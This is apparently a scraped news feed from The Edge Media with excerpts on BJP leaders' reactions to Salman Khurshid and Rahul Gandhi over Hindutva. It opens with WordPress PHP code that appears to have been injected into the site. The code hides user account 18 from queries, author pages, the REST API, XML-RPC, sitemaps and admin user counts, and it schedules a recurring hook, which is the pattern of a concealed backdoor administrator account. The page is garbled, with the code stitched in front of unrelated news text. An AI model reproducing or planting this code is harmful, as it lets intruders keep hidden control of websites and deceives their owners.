add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post There will be no secularism in India if Hindus become a minority appeared first on The Edge Media.
]]>
The BJP leader went on to say that if Hindus ever become a minority in India, secularism will be extinguished. Reacting to the controversy stoked by Khurshid, who equated RSS with Boko Haram and ISIS, G Kishan Reddy said, “Such statements by a senior Congress leader are not appreciable.”
The post There will be no secularism in India if Hindus become a minority appeared first on The Edge Media.
]]>The post On the Hindutva issue, a BJP leader sneers at Rahul Gandhi: “Pathological Hatred” appeared first on The Edge Media.
]]>
Mr. Patra’s remark came after Rahul Gandhi attempted to distinguish between ‘Hinduism’ and ‘Hindutva,’ a militant philosophy closely associated with the RSS, the ruling BJP’s ideological guru. Mr. Gandhi had a history of criticizing ‘Hinduism’ and its culture, according to the BJP leader, and it was in the Congress’ “nature” to attack Hinduism and “promote hatred” in society.
The post On the Hindutva issue, a BJP leader sneers at Rahul Gandhi: “Pathological Hatred” appeared first on The Edge Media.
]]>The post ‘Condemnable, will get it banned’: MP home minister on Salman Khurshid’s new book on Ayodhya appeared first on The Edge Media.
]]>
“Congress talks of dividing the country and Salman Khurshid has taken the same idea forward in his book Sunrise Over Ayodhya. We will take opinion from legal experts about banning this book in Madhya Pradesh,” state Home Minister Narottam Mishra said Friday. Calling it a “very condemnable book”, Mishra said, “these people do not leave any opportunity to break Hindutva, divide Hindus into castes.”
The post ‘Condemnable, will get it banned’: MP home minister on Salman Khurshid’s new book on Ayodhya appeared first on The Edge Media.
]]>The post Salman Khurshid’s statements on Hindutva have enraged the BJP appeared first on The Edge Media.
]]>
Meanwhile, a lawyer in Delhi has submitted a complaint with the Delhi Police, requesting that an FIR be launched against Khurshid in the case. BJP spokesperson Gaurav Bhatia claimed Khurshid’s book on Ayodhya harms people’s religious sensibilities during a press briefing at the party’s headquarters here.
The post Salman Khurshid’s statements on Hindutva have enraged the BJP appeared first on The Edge Media.
]]>